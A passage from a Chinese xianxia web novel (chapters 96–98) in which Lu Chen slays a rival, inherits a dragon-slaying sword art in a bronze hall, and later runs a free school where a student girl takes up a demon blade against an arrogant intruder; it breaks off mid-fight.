“好一道小神通,不过会的,可不止你一人。”
“连用三道真意加之两道小神通,你此时已是强弩之末,一击便碎。”
“我有一万次失误的机会,而你一次也没有,这就是我们之间的差距。”
“能死在此术之下,你也不枉修行此生了。”
齐邪冷笑而语,只见得其自身气息攀登到一个极点,而後一戟斩出,好似要劈开天地。
一戟劈出,忽地有一道鲲鹏虚影浮现,那鲲鹏虚影遮天蔽日,彷佛自荒古降临世一般,令众生不敢抬头。
那鲲鹏双翅一展,带着极为磅礴的力量朝着陆尘扑去。
它的速度极快,所过之处,空间都被撕裂出一道道黑色的裂缝。
陆尘眼神中第一次闪过一丝凝重,他知晓此术威势极大,却非自己所能硬抗。
只见得他长袖一拂,便有一九龙鼎浮现在其身前,硬生生的抗下这灭世一击。
浩荡的灵气四散开来,陆尘身影一瞬已至齐邪身前。
他全身灵气凝聚於指尖,一指点出。
六道轮回之术刹那间涌现而出,带着不属於尘世间的威力要将齐邪绞杀。
一块玉盘猛的自齐邪心口之处飞出,掠出一道极光,不但将陆尘的六道轮回之术粉碎,更是直指其眉心,好似要之身死道消。
就是这般莫名而现的极光,却令陆尘第一次感受到了彻骨的死亡之意。
只见得那齐邪脸上浮现出一股狞笑之意,嘴巴微动,虽并未说话,但陆尘却知晓他说的什麽。
蝼蚁。
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第九十六章 屠龙术
玉盘气息恐怖,好似要镇压世间一切一般。
与这一道气息相比,先前陆尘二人所引发的天地异象反倒像是在小打小闹一般。
齐邪虽浑身是血,万分狼狈,可嘴角笑意却是肆意延展开来。
此玉盘乃是货真价实的大道真器,莫说陆尘不过区区一神游,哪怕其高居王侯之位,在如今近距离的威势之下,也不会有半分生机。
这便是他足以傲视天渊外人的资本,纵使你当真手段通天,同境无敌,可此大道真器一出,你又能如何呢?
想到此处,他眼神轻蔑而笑。
但下一刻,齐邪的笑意就是一僵。
只见得那玉盘将要触及陆尘的一刹那,青铜色的锁链凭空浮现在陆尘周遭,好似龙蛇一般飞舞收缩,紧紧的将那玉盘锁在青铜链条之中,使之动弹不得半分。
在那锁链之下,堂堂大道真器竟恍若是渔网中的游鱼一般难以挣扎。
“困龙锁!”
齐邪发出一声惊呼,一脸不可置信的神情。
陆尘神色淡然,手掌抬起。
只见得一个旋涡似的黑洞悄然在其掌心之处浮现,那黑洞奇黑无比,好似是最地底处的深渊一般。
其间传来异常恐怖的吸力,仿若要将世界的一切吞噬。
哪怕齐邪牢牢的把战戟插入青铜殿堂的地面之中,依旧被这黑洞给吞噬殆尽,陷入到一片黑暗之中,受着逼迫而来的浩瀚威压。
昏暗世界之中,滔天的伟力覆盖而下,齐邪猛的吐出一口心血,气息衰竭,哪怕是荒古神体也如薄纸一般的崩裂。
待得天地碰碎之时,他猛的砸在神像之上,而後倒在血泊之中,狼狈至极。
陆尘上前,一脚踩在他的头顶。
“说说看,谁是蝼蚁?”
陆尘问道。
“本事不如人就想用灵宝偷袭?不好意思,我的灵宝比你多的多。”
他长袖一扫,近十件便悬浮在其身後,好似是飞剑一般气息逼人。
陆尘猛的一脚踹出,在齐邪身形倒飞之时,便有一天阶灵宝跟了出去,一瞬便贯穿其胸膛。
好似惊雷炸响一般,砰的一声,齐邪的肉身便尽数崩碎,神魂无附着之地,慌忙逃窜。
陆尘手一拘,那游魂便定在原地,动不得分毫。
“我乃天渊之人,你若杀我,你必定死无葬身之地,连带你之亲族,你之宗门,都在世界荡然无存!”
那神魂面色狰狞,咆哮吼道。
荒古神体肉身无双,千古不灭,可如今却被人硬生生的打碎,对於齐邪来说,已然是比死还要令人难受。
“你是说我放过你你就一笔勾销了?”
陆尘问道。
听得陆尘这麽一问,那神魂自觉还有说法当下连忙说道:“你我同境相争,分胜负即可,又何须分生死,如此天姿,我天渊愿奉你为座上宾,贡献大道荣光!”
他心绪激荡而语,好似有万千宝藏要与陆尘分享一般。
“到底是你傻还是我傻啊?”
陆尘歪了歪脑袋问道。
他手作剑指,指尖浩瀚剑意凝聚。
察觉到那抹死亡气机,神魂连忙叫唤:“若你不信,我可立天道誓言,违者遭天劫责罚,身死道消!”
陆尘却并不听,手腕一拧,剑气便是激荡而出。
“蝼蚁安敢!”
意识到自己必死无疑,那神魂猛的狰狞咆哮起来。
“蝼蚁!你身上之物早已沾惹天渊气息,天渊之人必将追杀你至天涯海角!等着亲族皆灭,宗门皆死的那一日吧!”
疯狂之意在其眸子里跳动,下一刻,剑气穿过神魂。
一瞬之间,神魂便消散的无影无踪。
至此,身死道消,於天地间荡然无存。
陆尘皱了皱眉,将那青铜镜取出。
这枚青铜镜历经苏月仙的神火灼烧,没理由还残留天渊气息才是。
但不知为何,他觉得这齐邪所说之语并不假,毕竟刚一见面之时,他便察觉到了自己身上有天渊之物。
“莫非这铜镜有什麽更隐秘的禁制所在?”
陆尘低头沉思。
苏月仙也曾用过此铜镜,诱骗天渊之人齐聚,或许在吃过亏之後,天渊那边便对此番铜镜藏了些什麽手段,令夺得者不可再藉此铜镜坑杀天渊之人。
他心头稍沉,忽地好似有乌云积压一般。
“九转还魂丹的进度得加快了……”
他眸子微眯,如天渊真的提前杀来,自己要备好的东西可少不得。
陆尘手一挥,将那块令牌封存於神像之下,若天渊之人真要寻来,将之引入这神殿之中,倒是能拖延些时间。
处理完这些琐事,陆尘便不再多虑,当下手一拘,将那荒古神体的本源精粹取过。
“凌云过来。”
陆尘唤了一声,便将那本源精粹交之於少年。
他虽吸收过荒古精血,但本源仍是以麒麟玉为根基,若是强行吸收这番荒古神体的本源精粹,反倒是会适得其反,使肉身重创。
少年郑重接过那本源精粹,当下盘腿而坐,全神贯注的吸收那本源精粹。
陆尘
则在大殿之中晃荡,寻找有无遗落的机缘。
此番青铜殿堂万分坚固,陆尘二人交手,哪怕是神通尽出,也未在此地留下过丝毫痕迹,除了那滩血迹之外,全无半点证明过二人交手的迹象。
“这是……”
陆尘触摸着神像後背,指尖隐约的感受到些疙瘩,好像是符文的烙印一般。
他将灵气凝於指尖,注入神像之中,只见得那些符文显现,化作古老而又晦涩至极的文字。
此番文字万分难解,若寻常人见之,定是摸不着头脑,好在陆尘修行过《太上开天经》,知晓其上的文字与《太上开天经》是为同一种。
“我有屠龙之术,有蛟龙处斩蛟龙。”
“我存凌云之志,且欲与流云翻飞舞。”
恍然之间,一股磅礴至极的剑意涌㣉陆尘脑海之中,只见得天地变幻,一瞬之间便置身於一片苍茫之中。
成群结队的修士如蝗虫过境,浩浩荡荡,遮天蔽日。
真龙盘旋於天际,避无可避。
有一人立於万万人之前,青衫仗剑。
一剑而出,天地崩碎,万物嗡鸣不已。
真龙俯首,重重的摔在苍茫大地之上,金灿灿的血液流淌至地平线的极远之处。
临死之前,那真龙咆哮一声,仅这一声便传至整片荒莽天地,令得那浩浩荡荡的修士死了十之八九,哪怕其中有至尊高位,亦是难逃身陨的下场。
“好恐怖的实力……”
眼前之景虽只是幻影,但陆尘亦是能从其中感受到一股极为迫人的威压之气,好似天地之间真有这麽一条真龙在咆哮一般。
那立於最前头处的斩龙之人以及那真龙,恐怕离帝境都只差一步,远非在场的其他人所能相比,哪怕是至尊亦是相差甚远。
这是陆尘第一次见识到这般恐怖浩瀚的交锋,莫名间,他心中有股剑意汹涌,手不自觉的并作剑指,一剑激荡而出,好似自己也是那斩龙人一般。
“倒是有几分我当年风采。”
就在陆尘此剑一出后,那斩龙之人竟是笑着向其点头,身影飘然落在陆尘身前。
陆尘一愣,一时间分不清眼前之人是真是幻。
“这是前辈之神魂?”
陆尘恭谨问道。
斩龙之人摇了摇头。
“非也,此乃本君亲临,在你看来,本君就这麽明晃晃的站在你身前,可於本君而言,却是跨越了百万年光阴长河而至。”
他轻声而语。
与其那惊天地泣鬼神的惊人剑势不同,斩龙人的五官十分清秀,眉宇间亦是有股舒缓柔和神色,好似是体弱书生一般,全然不似执剑之人。
“劳烦前辈了,不知有何事相告?”
陆尘问道。
光阴长河亘古长存,非常人所能触及,哪怕是斩龙之人这般顶尖修士,想要跨越光阴长河,恐怕也要付出不小的代价,自然不可能就这麽简单的过来和自己打个招呼。
“本君道行将散,此屠龙之术,不愿失散世间,你能来此,即是你我有缘,今日便将此术授之於你,若能领悟,不亚於一门绝世神通。”
斩龙之人轻声而语,三尺青锋微旋,只见得一剑即出,好似要天地风云变色。
陆尘紧
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盯着斩龙之人出手,不愿错过丝毫。
有两道一品剑道真意在身,陆尘对於剑道的领悟已然是超凡㣉圣,远非寻常人所能相比,可即便如此,斩龙人所出之剑仍令陆尘有些难以领悟,当下只能硬生生的将那剑招铭刻於心,来日再细细领悟其中剑意。
斩龙人连挥三剑,三剑而过,天地之间好似有蛟龙悲悯。
“屠龙之愿,凌云之志,济世之心,得悟此三意,便可悟此屠龙之术。”
他伸出三根手指而言。
“晚辈铭记於心,定不辱没前辈绝学。”
陆尘神情郑重而语。
斩龙人点了点头,也并未再说些什麽,当下盘腿而坐,眸子像是有些乏了一般闭起。
他忽地想起很小的时候,蛟龙於九霄之上翻飞,其下则是洪水泛滥,民不聊生。
自洪水中挣扎而起,失去一切的少年跪于山顶之处,五指弯曲成爪,满面泪痕。
“唯愿生生世世,斩尽天下蛟龙。”
多年过去,他总算做到了。
苍茫天地间,陆尘对着那静默身影再度一拜,待得斩龙之人身形消散,化道於天地之间时,陆尘才再度返回青铜殿堂之中。
此时此刻,再看着那神像之上的诗句,陆尘又是别有一番滋味。
他见过此番荒古年间的景象多次了,那时妖兽们遮天蔽日,是这五域四海的唯一主宰,而人族却犹如家畜一般,没有半分尊严的苟且偷生。
所幸多了如斩龙人这些修士开道登高,人族方才有如今昌盛之世。
此番行止,哪怕斩龙人并未传陆尘什麽剑术,陆尘亦是会心神往之,钦佩万分。
如今看来,这大成神体,恐怕也是死在了斩龙人剑下,至於二䭾同为人族至高战力,又为何有此一争,恐怕世间不会再有人知晓了。
就
在陆尘自顾自思索之际,忽地有惨叫之声将之思绪拉回。
陆尘转头而视,方才见得段凌云七窍流血,面色狰狞异常。
他浑身上下迸发着一股极为澎湃的荒古气息,而少年原本横练无比的肉身在这股气息之下便如薄纸一般的任人摆弄,骨骼间不断发出炸裂声响,好似身处炼狱之中一,万分煎熬。
陆尘微眯了眸子,却并未出手干预什麽,只要死不了,那麽自己便并没有什麽出手的理由。
想要获得些什麽,必须也要承受住什麽,哪怕陆尘有金手指在身,在吸收那些精血之时,亦是身魂皆历经煎熬,万分难堪。
对於段凌云而言,此番若是跨过,自此後天高海阔,可与真正的圣地妖孽争锋,但若自己出手相助,那他始终是差这一步,未能真正的鱼跃龙门。
与半路遇到的天之骄子不同,段凌云是陆尘一手自微末之中拉起的少年,与之师生情谊,自然也要较之他人深厚些,故而哪怕并未有什麽指导奖励可以再领取,陆尘亦是尽心尽力的指点少年。
磅礴无比的荒古气息再度迸发,若此处并非是什麽青铜仙殿,只怕是要崩然倒塌。
在这股浩瀚气息之下,少年的面色越发狰狞,浑身已是被鲜血布满,好似已经达到了神体能承受的临界之处。
陆尘见少年这般痛苦,亦是有些於心不忍,当下盘腿静坐,闭目冥想,领悟那斩龙之人所授的三剑。
这三剑乃是剑术,与陆尘所掌握的剑道真意截然不同。
若是打个比方,剑意就是魂,剑术就是肉身,以往陆尘都是简单粗暴的用这魂去与人对敌,并未有剑术掺杂其中。
而如今习得此剑招,陆尘才真真正正的堪称一位剑修,可行大道杀伐之术。
良久后,陆尘眸子睁开,已然对屠龙之术的第一式有些许参悟。
“夫子,我感知到此处好像还有个极为不凡之物。”
少年已然将那本源精粹吞噬殆尽,如今并未有什麽神气的样子,反而是形如残骸,可想而知受了怎样的非人折磨。
“与真龙相关。”
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第九十七章 私塾夫子
听到段凌云这话,陆尘稍稍一惊,毕竟以自己的感知都未能发觉有何真龙气息,段凌云却已然有所察觉,想必是这真龙气息冥冥间与那荒古神体的精粹有何渊源。
“你找找?”
陆尘轻声说道。
段凌云点了点头,当下双眸紧闭,灵气在周天之间流转。
并不多时,他便睁开双眼,缓步来到那坐化的大成神体身前。
只见得少年缓缓蹲下,手往那白骨之间一探,紧接着里间便不知有什麽东西吸住了少年手掌一般,他咬紧牙关,浑身灵气凝於一臂之间,猛的往身後一扯。
刹那间,少年踉跄倒地,撞倒在那神像之上。
陆尘稍一挥袖,将少年身形扶正,只见得少年摊开紧握的手掌,一枚鳞片在其手中,散发着璀璨至极的金光。
龙气浩浩荡荡的宣泄而出,一瞬之间将整个青铜殿堂笼罩在其中。
“这块龙鳞您拿着吧,我欠您的实属太多了。”
段凌云有些惭愧说道。
陆尘也并未推辞,眯眼笑了笑,将这龙鳞收㣉心海之中。
若是他猜的没错的话,这龙鳞定是和那头真龙息息相关,或许是开启真龙秘藏的关键所在。
真龙的天赋神通位列十大绝世神通之一,古往今来,不知多少人为寻此神通而身死道消,哪怕是身居至尊高位的至强之人,也并不例外。
“这大成神体哪怕身负护心龙鳞,亦是被斩龙之人剑斩,那位前辈的剑术,委实达到了通天彻底的地步。”
陆尘幽幽叹息了一声,不免为之感慨不已。
至於为何这大成神体身负真龙的护心龙鳞,而斩龙人与其同为人族顶尖战力,又为何要生死交锋,总归是埋葬於古史之中,难由後人知晓了。
有些时候陆尘还会去翻阅古史,希望能从断片残章中搜寻些什麽,但大多时候,都只是无功而返,并未能真正知道些什麽。
这或许便是所谓古史令人所着迷的地方,永远都是这般云雾遮绕着,你隐隐约约能感受到那山峰无比波澜壮阔,可想要真切的去看清些什麽时,却并不能真正的知晓。
将那片护心龙鳞取下后,二人便又在青铜殿中转悠了不小一会,但并未发现有别的什麽异常。
陆尘到最後甚至想到过把这青铜殿堂搬走,但这般不切实际的念头,很快就在那神像身上传来恐怖气息后打消。
此番㣉这青铜殿堂之中,二人的收获已是极为丰厚,陆尘不但学得了巅峰剑修斩龙之人的屠龙之术,还得到一片与真龙息息相关的护心龙鳞,至於段凌云,亦是得神体精粹,得以鲤鱼跃龙门,当真蜕变成真真正正的荒古神体,隐隐间已经有威压同辈天骄之气魄了。
此三样境遇,无论哪一样,若是在外界有消息流传,都足以令整个百朝战场的天骄们发疯一般的争抢,哪怕帝朝天骄都要打的头破血流,不死不休。
“这般看来,被我所杀那天渊之人,气运确实深厚,若不是我和段凌云赶来,最起码这圣体精粹以及护心龙鳞,都要落㣉他的手中。”
想到此处,陆尘又不禁啧啧叹道。
该说他运气好还是运气不好呢?
当陆尘看到他的第一眼,那家伙的命格就从金色止不住的往下掉,一直掉到了将死之人的黑色。
“不过我这福缘,倒确实是深厚了许多。”
陆尘先前指点百里浮华所领取的奖励中,有一项便是这福缘,如今自己仅是在这青铜殿中转了一圈,便能意外受了斩龙之人的传承,倒属实算的上是福缘深厚了。
“走吧。”
最後瞥了一眼那神像后,陆尘便带着少年离去。
不知为何,他隐隐约约的觉得那神像并非是什麽死物,而像是有一只眼睛藏於其中一般,但陆尘也知晓这并非如今的自己所能深究的,当下也并未去多做些什麽,就这般径直离开。
二人踏出青铜殿堂的一刹那,青铜大门猛的一闭,而後好似远古天柱崩塌般的剧烈响声自其中传出,令人耳膜欲裂。
陆尘又回头望了一眼,神情凝重。
“此地不可多留,走。”
他正色而语,带着段凌云身影如惊鸿一般急掠而出。
…………
百朝战场为限一年,虽只有一年,但因此间灵气浓郁深厚,远非外界所能比拟,哪怕不去争抢那些密藏,只在此处枯坐修行,亦是能与外界数年相比。
以往百朝战场之中,大抵是血流成河,同辈天骄相遇,不死不休,以至於常人随处闲逛,都能看到有天骄生死争锋。
但不知为何,今年的百朝战场,这般生死交锋却少之又少,甚至於修士们连连路过好几座空城,别说什麽至尊少年生死争锋之景了,哪怕个人影都没能瞧见。
“这位兄弟,不知这城中之人都往何处去了?怎麽我连过好几处城池,都未见人踪迹呢?”
照理来说,此时正是内圈之中人最多的时候,大家都在积攒底蕴,等待来日向那龙脉之地进发,但不知为何,一连数城皆是荒无人烟,以至於男子连购买丹药,修缮灵器之地也未能
寻到。
此时好不容易遇见个人,总算是能开口一问了。
“你说这个啊,大家基本上都在段眉关吧,我现在也是往那边赶呢。”
那人秉性纯良,见有人相问,当下便一五一十地告知。
“去段眉关为何?”
男子依旧有些不解而问,这百朝战场之中城池何其之多,又何需非得去那什麽段眉关。
“你不知道吗?听说段眉关有位护道人办了间私塾,在私塾之中听课之人,皆有机会被那护道人指点迷津,得其指点所悟之人,皆言不亚於百朝战场之中得任何一处密藏。”
说到这时,说话的男子眼中流露出敬仰神色,他原本对此也不相信,只觉得是什麽谣言,但在见到自己同行之人从段眉关回来一趟而脱胎换骨后,男子便是彻底折服,发誓一定要上那私塾里瞧瞧。
“当真有这麽神奇?”
问话的男子有些不相信。
不过是旁人指点一二,真能比之一处远古秘藏的收获?
“我原先也是不信,但我们皇朝有一位资质算不得多好的人去了一趟之後直接脱胎换骨,确实证明此番传言,所言非虚。”
“若真有这麽神奇,那想必这所谓的私塾收费定然极贵吧,我这般王朝中人,恐怕连㣉门的资格都没有。”
问话的男子听得答话后,起先是眼中一喜,但旋即很快的便暗了下来,对其而言,全身上下的身家不过一件玄阶上品灵宝,怎麽能和那些皇朝中人同在一间私塾之中受教呢?
“非也非也,这私塾并不要收取什麽费用,那护道者还说过什麽有教无类的话,总之愿意去学的都能去,只要态度好些便可,当然并非所有人都能得到指点,至於其中的逻辑,我也没去过,倒也并不知晓。”
说话的男子属实是热心肠,当下又将那间私塾之事一一相告。
“有教无类?好一个有教无类,不知道能否有幸和兄弟结伴而行,我也想去那私塾看看,到底是不是真的这般玄妙。”
问话的男子当下有些激动而语,若真有那麽玄妙,这毫无疑问是自己鲤鱼跃龙门的大好良机。
“也好,走,若是去晚了,说不定那护道者已然离去。”
热心男子也并未拒绝,二人当下便结伴同行,一同往那所谓得私塾而去。
……
百朝战场,段眉关。
“开天辟地之混沌兮,天地始分清浊……”
并不太大的一间私塾之中,只见得十七八岁的少年少女整整齐齐得坐於案桌之前,手中捧着泛黄书籍,摇头晃脑得说些晦涩难懂的古文。
“今日所授之课为《修行界起源论》,乃是上古大能所着,如今修行界所公认的起源论,便是出自此书,至於这段古文,你们记下来,总归是有益处的。”
少年少女的前方,是一位身着青衫的夫子,其长发用竹簪束起,剑眉如墨。
夫子朗声而去,底下得不少学生却是呼呼大睡。
而他也并未多说些什麽,权当并未看见。
毕竟底下这些可都是各朝各宗门的天之骄子,能让他们乖乖在此坐下,眼前这位夫子便已然很了
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不得了。
看着不少呼呼大睡的学子,陆尘也并未多说什麽,毕竟他自己也是这麽过来的,自然知道睡觉最好的时间有两个,一是现在,二是课堂。
如今二者皆是合乎条件,哪有不睡的道理。
这间私塾陆尘已然开了近小半年,一开始倒并未有这麽多少年至尊齐聚一堂,不过是见识过其施展神威之人,零零散散的抱着试试看的心态来此,没想到得陆尘指点后当真是突飞猛进,很快的一传十,十传百,也便在这百朝战场之上传开,引得越来越多的天之骄子齐聚一堂。
到如今,已经是门庭若市,每天前来拜访之人络绎不绝。
陆尘倒也并不是什麽人都收,有些人瞧见了其生平之後,不说狠狠教训一顿便好了,更谈何去教他做些什麽。
“都让开,今日谁也不能挡了小爷的道!”
私塾外的院子里,忽地有一道叫喊之声传来,令得众人的朗朗书声皆是为之一顿。
“夫子还在授课,不可打扰。”
有人在院子里拦下了那出声之人。
“你说不能打扰就不能打扰,这天底下等人小爷不能打扰的人不是没有,但很可惜,这百朝战场里没有一个。”
“给小爷滚。”
只听得那人这般喝了一声,而後便是一道惨叫之声在院子之中响起。
陆尘眉头一皱,一瞬身影跃动,到了那院落之中。
而原些困意涌上心头的少年天骄们也再度打起精神,一溜烟的便往院落之中而去,想要看看到底是何方神圣敢在这里闹事。
只见得院落之中,那位阻挡闯入之人的学子此时已然是倒在血泊之中,浑身肋骨尽断,十分凄惨。
陆尘扶起那血泊之中的少年,将一粒丹药灌入少年口中。
少年很快清醒过来,嘴角浮起一抹惨淡笑容。
“给夫子丢脸了,跟了夫子这麽久,还是没林炎他们那样的本事,我真是个废物。”
少年咳血不止,眼神
黯淡。
“你已经做的很好了,但下次遇到这种事,跑就行了,小命没了可什麽都没了。”
陆尘给少年灌输灵气,加之那丹药已然发挥药效,少年神色这才缓缓恢复,周天灵脉亦是再度运转起来。
少年正是那青鸟书院的山崖,林炎几人一直在外闯荡,探寻各般秘藏,山崖则是一直跟着陆尘左㱏,在这私塾之中待了很长一段时间。
陆尘对其也是几番指点,虽说未能像林炎段凌云他们那般与顶尖皇朝的天骄争锋,但亦是进展极大,并非少年自怨自艾的所谓废物。
少年有此说辞,恐怕也只是因为在众天骄面前被打成这样,觉得丢了陆尘的脸,羞愧之下,这才会念头消极。
“啧,还以为是什麽了不得的人物,外界吹得多玄乎,这底下的人不还是废物一个,连小爷一拳也扛不住。”
那闯入之人放声大笑,众人这才将目光从山崖身上偏移开来,转而眸子里冒着火光的看向那闯入者。
闯入之人是位嘴里长着尖牙的长发少年,其手中握着把长刀,刀身上有磅礴妖气附着。
那把刀的气息极为恐怖,显然不逊色於一件天阶灵器,这少年敢把此刀明晃晃的亮出来,显然心中底气亦是很足,并不惧怕在场的诸位天骄。
“夫子,请让我与这不知天高地厚的小子一战。”
“让我来!”
“让我来教训教训他。”
“臭小子下手这麽狠,等会我把他第三只腿打断。”
见私塾同门被打成这副惨状,众位天骄自然极其愤慨,再加之许久没有与人动手交锋,当下一个个皆是战意澎湃,忍不住的想要与眼前手握妖刀的少年争锋。
“小环来,你们现在还不是他的对手。”
陆尘略过激昂的少年天骄们,将目光投向角落一位少女。
少女有些诧异的用手指了指自己。
“我?”
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第九十八章 妖刀
人群的角落里,少女有些不可置信的看着陆尘,她的脑袋晃呀晃的,觉得自己好像是出了什麽幻觉。
“没错就是你。”
陆尘点了点头。
不但是少女对陆尘的这一番决定吃惊,周遭的天骄们亦是觉得不可思议,皆一头雾水的看着陆尘。
少女的境界实力在众多学子间并不出色,甚至可以说排在末尾的位置,令她去与那手持妖刀的少年相战,岂不是自寻死路?
“还是让我来吧夫子。”
一位少年眉宇间有些担忧的说道。
少年名为赵寰宇,出身顶尖皇朝,是在场天骄公认的第一人。
其本就身负紫色气运,在历经陆尘指点后,更上一层楼,是真正的少年至尊。
在场人虽刚刚哄抢着要上场,但大抵都是猜测陆尘会令赵寰宇前去与这妖刀少年交锋,从未有人想过派出场的是躲在角落里的窈窕少女。
少女名为江雨环,据说其所在的皇朝江水环环,雨落年年,故此有了这般个诗意的名字。
她的性子倒并不似生在水乡的女子那般娇弱,少女性子跳脱,嘴角总是挂着笑意,无论见到谁都会笑吟吟的道一句师兄师姐好,故而场中的天骄们尽皆对其十分喜爱,好似少女真是自己一门一派的小师妹一般。
众人在私塾间待得时间各有长短,长的有陆尘刚开私塾时便寻来的,短的则有前几日才新进之人。
但似乎私塾间就是一种独特的魅力,使得少年少女们都将此当做心灵休憩之地,短暂的忘却此处是那残酷的百朝战场。
“你暂且不是他的对手。”
陆尘摇了摇头道。
他的目光落在少女身上,令少女有些慌神。
“寰宇师兄都不是的话,那我更不是了。”
少女赶忙摆手摇头,她偷偷瞥了眼那少年手中的长刀,只觉得万分骇人,就好似有头大妖盘踞於长刀之上一般。
“你可以的,相信我。”
陆尘笑了笑对少女说道。
他手一挥袖,便凭空有一把长刀浮现在半空之中。
刀身通体幽暗,好似自深渊锤炼而出,其上不时有诡异的光芒闪烁,似有神秘符文若隐若现,彷佛在诉说着古老而又幽远的隐秘。
刀刃宛若一轮弯月,锋利到极致,仅仅是看上一眼,便让人觉得肌肤生寒,浑身冷彻,彷佛能轻易划破虚空。
其刀柄之处,雕刻着狰狞的妖物图案,触手冰凉,刀鞘漆黑如墨,上面布满了神秘的纹路,彷佛是被诅咒的封印,努力压制着刀中那狂暴的妖气。
当这把长刀现世,周围的空气彷佛都被冻结,一股强大的压迫感扑面而来,令在场的少年少女们都有些喘不过气来。
在场所有人都看着那柄长刀不敢说话,一瞬之间,好似荒古之时的大妖亲临。
只有那手持长刀的少年眼冒精光,眼神炽热的紧盯着那柄长刀。
他手中的亦是一柄妖刀,可与那浮在半空之中的长刀相较,却是小巫见大巫,萤火见之皓月。
“这把刀归你了。”
陆尘轻笑着说道。
“这把刀妖气太重了,小师妹拿着的话免不得要遭反噬吧……”
有人出声,十分担忧说道。
陆尘摇了摇头。
“并不会的。”
“小环,你试试握紧它。”
他又看向少女道。
少女看着那把刀愣神良久,她属实有些害怕,伸出手,颤颤巍巍的,并不敢真正的握住这把刀。
她抬头看了眼陆尘,见陆尘微笑点头,少女这才下定决心,当下闭着眼,一把握住那柄长刀。
令人意外的是,少女握住长刀后并未有什麽异象发生,那把刀上的妖气一瞬之间便收敛起来,除开那幽深颜色外,与普通的长刀并未有什麽区别。
“去吧,记住,握紧这把刀。”
陆尘轻声对少女笑道。
江雨环点了点头。
少女持刀而立,身姿窈窕好似长柳,彷佛一幅绝美的画卷,令人难以忘怀,她一头漆黑如墨的长发随意地束起,几缕发丝在微风中轻轻飘动,打在少女的脸颊与耳边。
她一袭紧身劲装,勾勒出玲珑有致的身材曲线。
一只手紧紧握着妖刀刀柄,修长纤细的手指骨节分明,充满不似娇弱女子的分明力量感。
那把长刀在少女手中,仿若与她融为一体,散发着一种寒风冷冽的气息,隐约间竟有股英姿飒爽的江湖女侠之意。
场中的天骄皆是一片寂静,全然没想到少女虽未引动什麽异象,但在握住长刀的那一刹那,整个人的气息竟是全然变幻,就好似换了一个人一般。
她面色清冷,眸子里闪着寒光,好似刀刃映照在青天白日之下。
少女手持长刀,缓步迈向那妖刀少年。
少年见江雨环如今模样,隐约间已是从少女身上感受到了些许的危险气息,但其并未有所担忧,反而是更为眼神火热的盯着那把长刀。
他看了一眼身後的护道人,护道人微微点头,明白少年是何意。
这长刀已然在少女手中,若是被自己抢了过来,哪怕是那境界不知什麽地
步的青衫夫子,也得顾忌圣地规则,不能对自己出手夺回这把长刀。
至於场中的天之骄子们,若是自己想跑,哪怕他们齐上也拦不下自己。
“小爷叫卢悬岸,小妮子报上个名来,小爷刀下不斩无名之辈。”
手持妖刀的少年叫嚣着说道。
少年为顶尖皇朝天骄,比之柳诚之流,要更上一层,曾与帝朝的那些妖孽交手,却全身而退。
其所持长刀附有大妖妖魂,乃是一件天阶上品灵器,寻常人别说是炼化,哪怕是稍稍靠近这柄妖刀,都要被此妖刀妖气所吞噬,而少年不但彻底炼化此刀,更是得那大妖之魂的本源神通,是真正可与帝朝天骄争锋的妖孽人物。
至於其为何寻上这私塾,则大抵是因为林炎的功劳,一向纵横辟阖,哪怕在帝朝人物手上也未吃亏的少年,在林炎手上却吃了十足的哑巴亏,到如今连林炎人都找不着。
少年自然咽不下这口气,这才几经打探,寻到了这家私塾。
“喂,哑巴呢?不会说话?小爷问你话呢?”
卢悬案又嚷嚷着喊道。
“尸体在说话?”
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少女歪了歪头,疑惑问道。
听到少女这番言语,在场的私塾学子们都觉得万分陌生,只觉得少女好像变了个人似得。
少女背对众人,以至於众人并不能看清少女脸上神色,但听少女所言语,亦是能隐隐猜测到其脸上神色凌冽。
“好烈的妮子,我喜欢。”
卢悬岸啧啧笑了声,目光上下打量着少女,眼神中流露出丝许的贪婪神色。
少女并未再多说什麽,只是眼神平静的看着卢悬岸。
有风悄然吹过,撩动了少女发梢。
少女身影忽地跳动,若惊虹一般急掠而出,转瞬之间,已然期近到了卢悬案身前。
她手腕一拧,只见得那长刀如一道银色的闪电一般划过虚空。
长刀泛起的刀光血红而凌厉,彷佛能割裂一切。
卢悬案有些没有料到少女身影如此迅疾,在那般凌厉刀势之下,只能是挥刀格挡。
长刀与长刀相撞,火花四溅,妖气纵横,一瞬之间,卢悬案的长刀刀身上便出现一口不大不小的豁口。
看着这刀身豁口,卢悬案脸色阴沉,死死的盯着少女手中长刀。
“大道真器。”
他倒吸一口凉气,眸子中显露出惊惧与贪婪之色。
只有大道真器,方才有可能在自己的天阶灵器上留下这般创伤。
他的目光有些忌惮的看向陆尘,能随手拿出大道真器之人,又岂会是什麽普通的王朝夫子。
恐怕真如外界所言,是什麽圣地流落在外的大人物。
“小子先前一时头昏,冲撞了先生,还望先生海涵。”
卢悬案正色对陆尘说道。
大丈夫能伸能屈,现在低个头认个错,没有什麽大不了的。
“道歉有用的话,你还要手上的刀作何?”
陆尘冷笑了一句说道。
听到陆尘这般言语,卢悬案脸色一暗,冷哼了一声,也并未再多说什麽,而是正色看着那持刀少女。
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> 江雨环的气息已然完全变化,就好像握住刀的那一刹那,少女已然变作了另一人,而刚刚那一拔刀,着实是令卢悬案一惊,从其身上感受到一股迫人气息,好像真是在面对着什麽大妖一般。
他握住刀柄,将长刀做周天而旋转,划过一个极为完美的弧线。
当长刀落下之际,便有一股浩瀚妖气宣泄而出,紧接着大妖咆哮之声响彻寰宇,犹如惊雷。
只见得一头大妖虚影自那长刀而出,其身形如山岳般巍峨,与之相比,在场众人皆是渺小如蝼蚁。
妖兽皮毛漆黑深邃,在落寞黄昏之下闪烁着异样的光泽,好似能吞噬世间一切曙光。
那硕大的头颅上,一双瞳孔犹如燃烧着的滔天怒火,透露出无尽的凶狠与残暴,仅仅是被那目光扫过,便让人灵魂战栗。
“好恐怖的妖兽……”
有人不自觉的这般感叹道,此妖兽属实是过於骇人,哪怕在妖脉之中也并不常见,更别说是在别人的刀中了。
直到这时,在场的天之骄子们才清楚为何眼前这家伙有这般底气去上门挑衅。
若其真的随身携带一头大妖的话,那确实是可以在这百朝战场之中横着走,除非是遇到帝朝那些妖孽一般的人物。
“要不还是让小师妹回来吧……”
又有人十分担忧的说道,那般大妖,哪怕是太阴境强䭾应对起来也会极为麻烦,更别说是这区区紫府境的少女了。
虽说少女刚才的表现十分惊人,但在场人并不认为这就代表着少女可以与那头恐怖至极的大妖所交锋。
“无妨。”
陆尘摆了摆手。
“你们且看便知。”
他说这话时,少女已然拔刀冲向那庞然大物,她弹跳而起,身如流星而坠。
